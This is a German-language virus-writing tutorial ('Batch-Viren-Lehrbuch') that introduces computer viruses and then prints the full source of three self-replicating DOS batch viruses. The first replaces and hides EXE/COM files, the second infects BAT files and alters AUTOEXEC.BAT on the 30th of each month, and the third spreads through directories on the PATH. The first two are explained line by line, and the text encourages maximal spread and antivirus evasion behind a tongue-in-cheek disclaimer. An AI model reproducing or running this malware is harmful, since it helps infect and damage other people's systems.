_.:[ Batch-Viren-Lehrbuch ]:._ by SnakeByte Teil I - Generelle Informationen Da ich in meiner Anfangszeit als Virenprogrammierer viele Probleme damit hatte an vernünftige Tutorials heranzukommen, entschloss ich mich nun ein eigenes zu schreiben. Ich entschied mich dafür es in Deutsch zu schreiben, da es nur sehr wenige in dieser Sprache gibt. Wie natürlich klar ist, ist dieses Handbuch nur für Lehrzwecke einzusetzen und ich übernehme natürlich keine Haftung, wenn ihr damit irgendetwas kriminelles anstellt... ;-) Die folgenden Informationen beziehen sich auf Viren im Allgemeinen: Im Jahre 1981 traten die ersten Viren auf, die noch sehr einfach gestrickt waren, und nicht sehr destruktiv waren. Mittlerweile haben sich die Programmierer aber immer bessere Tricks ausgedacht, um den fiesen Antivirenprogrammen zu entgehen. Ein Virus ist eigentlich immer nach folgendem Schema aufgebaut: 1.) Infectionsroutine, die für die Vermehrung sorgt 2.) Aktivierung. Hier wird festgelegt, wann sich der Virus meldet 3.) Handlung. Was soll er tun, HD löschen, Grüsse ausrichten ...? Hier sollte ich vielleicht noch erwähnen, dass es nicht Ziel eines Virus sein sollte, moeglichst viel zu zerstören, sondern sich möglichst weit zu verbreiten !!! Man unterscheidet folgende Virentypen: - Dateiviren Sie infizieren meistens COM oder EXE Dateien, seltener jedoch BAT Dateien. (Und genau das wollen wir ändern) Sie überschreiben Teile des Programms oder hängen sich an dessen Ende und werden bei jedem Programmstart aktiv und suchen dann nach weiteren Wirten. - Makroviren Makroviren nutzen die Makrosprache von Exel und Word und starten automatisch beim oeffnen einer infizierten Datei. Etwa 70% aller heutigen Viren sind Makroviren. - Hoax Viren Dies sind keine wirklichen Viren, aber Warnungen vor Phantasieviren, die alles mögliche zerstoeren koennen. Allerdings werden diese Nachrichten gerne weiterversand, um auch Freunde vor dem ach so boesen Virus zu waren und verbreiten sich teilweise recht stark. Virenscanner suchen diese Viren nach 3 Methoden. Die erste Methode besteht darin, dass eine gewisse Zeichenfolge gesucht wird, von der man weiss, dass sie nur in dem Virus vorkommt. Eine weitere Methode sucht nach Virenähnlichen Kommandofolgen, liefert aber oft Fehlalaerme. Die letzte Methode besteht darin, von jeder Datei die Dateilänge zu speichern und bei einer Überprüfung mit der aktuellen Dateilänge zu vergleichen. Aber mitlerweise gibt es Viren, die die Prüfdateien gleich mitverändern ... _ _ / ` | | /\ |/ _ | _|_ /- / ` '-\ |\| |_| < /-` |_ \ | | |- '-\ \_/ | | | | |\ \_, |_> \| | \_ \_/ | \_| Batch-Viren-Lehrbuch Teil II - Hier habt ihr eure 'Sources' Ich habe mich entschlossen eine Beschreibung von Batch Viren anzufertigen, da diese am leichtesten zu verstehen sind, und keine uebermaesigen Programmierkentnisse erfordern. Batch Viren infizieren *.BAT programme, und können mit einem einfachen Text-Editor geschrieben werden. Zuallererst ein recht einfacher Virus, der sogenanne Wagner Virus der von Black Wolf 1993 in Virology 101 praesentiert wurde. @echo off ctty nul for %%f in (*.exe *.com) do set A=%%f if %A%==COMMAND.COM set A= rename %A% V%A% if not exist V%A% goto end attrib +h V%A% copy %0.bat %A% attrib +r %A% ren %A% *.bat set A= :end ctty con @if exist V%0.com V%0.com %1 %2 %3 @if exist V%0.exe V%0.exe %1 %2 %3 Für alle totalen Neulinge gehe ich den Code nun Zeile für Zeile durch. @echo off Dieser Befehl bewirkt, dass die Befehle des Programmes beim ausführen nicht angezeigt werden. ctty nul Hier werden alle Ausgaben ins Nichts geleitet. So das der 'Benutzer' nicht sieht, dass Dateien kopiert wurden. for %%f in (*.exe *.com) do set A=%%f Hier werden alle EXE und COM Dateien und schreibt jede Datei in die Variable A. Das bedeutet, dass am Ende die letzte, noch nicht infizierte Datei in der Variable A gespeichert wird. if %A%==COMMAND.COM set A= Falls A die Datei Command.COM enthaelt, wird A Null gesetzt rename %A% V%A% Die gefundene Datei wird umbenannt in Vname if not exist V%A% goto end Sollte das Umbenennen schiefgegangen sein, wird zur Stelle :end gesprungen und beendet attrib +h V%A% Die umbenannte Datei wird versteckt und somit nur durch Parameter mit dem Befehl dir /a:h sichtbar, auserdem wird sie bei einer erneuten Ausfuehrung des Programmes nicht noch einmal umbenannt. copy %0.bat %A% Der Virus (%0%) wird an die Stelle der COM Datei kopiert attrib +r %A% Nun wird die Datei vor dem Ueberschreiben geschuetzt ren %A% *.bat Nun noch eine Umbenennung in eine BAT Datei set A= Der Parameter A wird wieder geleert, um keine Spuren zu hinterlassen :end Hierher wird mit goto end gesprungen ctty con Die Ausgabe wird wieder auf den Bildschirm geleitet @if exist V%0.com V%0.com %1 %2 %3 Falls die Ersetzte Datei eine COM Datei war, wird diese nun ausgeführt @if exist V%0.exe V%0.exe %1 %2 %3 wie eben nur mit EXE Dateien Dieser einfache Virus schnappt sich bei jedem Start eine EXE oder COM Datei in seinem Verzeichnis und ersetzt sie durch eine Kopie von sich. Danach wird die EXE/COM Datei wie gewohnt gestartet. Ein anderer Virus, welcher BAT Dateien infiziert, soll hier auch noch dargestellt werden. Er infiziert allerdings nur das Verzeichnis, in dem er sich befindet, dort aber alle Dateien. @echo off>nul.CaT if '%1=='Inf goto CaTi if exist c:\!CaT.bat goto CaTs if not exist %0.bat goto CaTe find "CaT"<%0.bat>c:\!CaT.bat find "CaT" c:\autoexec.bat >nul if not errorlevel 1 goto CaTs echo.|date|find "30">nul.CaTs if errorlevel 1 goto CaTs echo echo CaT KillS YouR SysteM ... ;-> >>c:\Autoexec.bat echo ctty nul >>c:\autoexec.bat :CaTs For %%a in (*.bat) do call c:\!CaT Inf %%a goto CaTe :CaTi find "CaT"<%2>nul if not errorlevel 1 goto CaTe type c:\!CaT.bat>CaT.t echo echo CaT InFeCtEd YoUr SyStEm >>CaT.t type %2>>CaT.t move CaT.t %2>nul.CaT attrib c:\!CaT.bat +h +r +a :CaTe Erklärung der einzelnen Zeilen: @echo off>nul.CaT Die Anzeige der Befehle wird ausgeschaltet und eine Rückmeldung wird nach nul.CaT geleitet if '%1=='Inf goto CaTi Sollte der Parameter %1 Inf sein, wird nach CaTi gesprungen if exist c:\!CaT.bat goto CaTs Wenn die Datei c:\!CaT.bat existiert wied nach CaTs gesprungen find "CaT"<%0.bat>c:\!CaT.bat Die eigene Datei soll auf die Zeichenkette CaT durchsuchtwerden, und alle Zeilen, die diese Zeichen enthalten werden nach !CaT.bat geschrieben. Dort wird also ein Abbild des Viruscodes erzeugt. find "CaT" c:\autoexec.bat >nul if not errorlevel 1 goto CaTs Falls CaT in der Datei Autoexec.bat enthalten ist nach CaTs springen. echo.|date|find "30">nul if errorlevel 1 goto ende Am 30. jedes Monats wird der Code weiter ausgefuehrt ansonsten nach CaTs gesprungen. echo echo CaT KillS YouR SysteM ... ;-> >>c:\Autoexec.bat echo ctty nul >>c:\autoexec.bat Andernfalls die Zeilen echo CaT KillS YouR SysteM ... ;-> ctty nul der Autoexec.bat hinzufügen, was alle totalen Versager aus dem Rennen schmeißt, aber keine wirkliche Zerstörung anrichtet. :CaTs For %%a in (*.bat) do call c:\!CaT Inf %%a goto CaTe Die Bat Datei !CaT wird nun für jede andere Bat Datei im Verzeichnis ausgeführt. Danach wird zu CaTe gesprungen. :CaTi find "CaT"<%2>nul if not errorlevel 1 goto CaTe Untersuchung ob die angegebene Datei bereits infiziert ist, falls ja wird an das Codeende gesprungen. type c:\!CaT.bat>CaT.t type %2>>CaT.t move CaT.t %2>nul.CaT attrib c:\!CaT.bat +h +r +a Hier wird die Datei !Cat.bat kopiert, die infizierte Datei ans Ende gehängt und die Ursprungsdatei wieder ersetzt. Danach wird die Datei !Cat.bat versteckt. :CaTe Ende des Codes. Noch ein anderer Batch - Virus, der auch im Pfad Verzeichnis nach Opfern sucht. @echo off>nul.ViRuS rem ViRuS The BatchViRuS by Dirk van Deun 1994 rem ViRuS May be copied freely (On your own machine !) rem ViRuS Programmed to prove that it's possible rem ViRuS (and to show off skill in writing batchfiles) rem ViRuS If you have no disk cache, you're not interested ;-) rem ViRuS E-mail hw41652@vub.ac.be rem ViRuS Known bug: interpretation of variables may make lines too long rem ViRuS for DOS and let characters drop off: unpredictable behaviour if "%0==" echo --------------------------------------->con.ViRuS if "%0==" echo | Hi ! I am the nice BatchViRuS ! | if "%0==" echo --------------------------------------->con.ViRuS if "%0==" goto ViRuS_OLDBAT if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply if "%1=="/ViRuS_PARSEPATH goto ViRuS_parsepath if "%1=="/ViRuS_FINDSELF goto ViRuS_findself if "%VOFF%=="T goto ViRuS_OLDBAT set ViRuSname=%0 if not exist %0.bat command /e:10000 /c %0 /ViRuS_FINDSELF %path% if not exist %0.bat call xViRuSx if not exist %0.bat del xViRuSx.bat if not exist %ViRuSname%.bat set ViRuSname= if "%ViRuSname%==" goto ViRuS_OLDBAT rem ViRuS if batch is started with name.BAT, virus will not become active rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable) rem ViRuS also if batch was only in an append /x:on path (chance=minimal) rem ViRuS or if environment is too small to contain %ViRuSname% ! if "%VPATH%==" set VPATH=%PATH%>nul.ViRuS rem (if environment cannot hold VPATH, ViRuS will function partially) command /e:10000 /c %0 /ViRuS_PARSEPATH %VPATH% call xViRuSx del xViRuSx.bat if "%VPATH%==" set VPATH=.>nul.ViRuS set ViRuSname= goto ViRuS_OLDBAT :ViRuS_findself if "%2==" echo.>xViRuSx.bat if "%2==" exit>nul.ViRuS if exist %2\%ViRuSname%.bat echo set ViRuSname=%2\%ViRuSname%>xViRuSx.bat if exist %2\%ViRuSname%.bat exit if exist %2%ViRuSname%.bat echo set ViRuSname=%2%ViRuSname%>xViRuSx.bat if exist %2%ViRuSname%.bat exit shift>nul.ViRuS goto ViRuS_findself :ViRuS_parsepath for %%a in (%2\*.bat;%2*.bat) do command /e:10000 /c %ViRuSname% /ViRuS_MULTIPLY %%a for %%a in (%2\*.bat;%2*.bat) do goto ViRuS_new_vpath shift>nul.ViRuS if not "%2==" goto ViRuS_parsepath if not "%1==". for %%a in (.\*.bat) do command /e:10000 /c %ViRuSname% /ViRuS_MULTIPLY %%a :ViRuS_new_vpath set VPATH=%3>nul.ViRuS :ViRuS_loop shift>nul.ViRuS if "%3==" echo set VPATH=%VPATH%>xViRuSx.bat if "%3==" exit>nul.ViRuS set VPATH=%VPATH%;%3>nul.ViRuS goto ViRuS_loop :ViRuS_multiply echo Checking: %2>con.ViRuS find "SeT IchBin=%%0" <%2>xViRuSx.bat call xViRuSx del xViRuSx.bat if "%IchBin%=="xViRuSx exit find "ViRuS" <%ViRuSname%.bat>xViRuSx.bat type %2>>xViRuSx.bat copy xViRuSx.bat %2>nul del xViRuSx.bat echo Infecting: %2>con.ViRuS exit>nul.ViRuS rem data for the first find in ViRuS_multiply SeT IchBin=%0>nul.ViRuS :ViRuS_OLDBAT echo on>nul.ViRuS echo This is the dummy original batch Das sollte an Batch-Viren reichen um die Grundkentnisse des Batch Viren Programmierens zu verstehen. Es gibt zwar noch kompliziertere Batch Viren, die COM Dateien per Maschienencode erzeugen und diese ausführen, oder ANSI Bomben enthalten aber diese sind meiner Ansicht nach keine wirklichen Batch Viren mehr, sondern gehören eher in andere Tutorials. Sollten noch Fragen zu dem Thema aufkommen, einfach noch ein paar andere Guides to XXXXX downloaden oder einfach in eine Newsgroup posten. Oder mir ne Mail schreiben SnakeByte@kryptocrew.de